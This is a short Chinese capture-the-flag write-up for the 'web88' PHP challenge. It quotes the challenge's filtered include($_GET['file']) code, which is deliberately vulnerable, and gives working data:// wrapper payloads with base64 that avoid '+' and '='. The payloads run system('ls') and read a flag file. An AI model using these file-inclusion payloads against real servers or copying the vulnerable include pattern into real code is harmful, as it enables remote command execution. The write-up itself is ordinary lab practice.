web88笔记(过滤大部分符号,除了:;,)
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-17 02:27:25 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ die("error"); } include($file); }else{ highlight_file(__FILE__); }
没有过滤冒号 : ,;可以使用 data 协议,但是过滤了括号和等号,因此需要编码绕过一下。
这里有点问题,我 ('ls') 后加上分号发现不行,可能是编码结果有加号,题目做了过滤 得到 PD9waHAgc3lzdGVtKCdscycpPz4=,
传入时要把等号去掉,因为题目过滤掉了等号,否则会触发 die 函数,即使去掉等号,base64 解码也是 <?php system('ls')?>。 总的来说就是要避免加号的出现,然后如果结尾有等号要去掉。
data协议绕过 <?php system('cat fl0g.php'); ?> payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4 查看源码 即 ?file=data://text/plain;base64,xxxx
浙公网安备 33010602011771号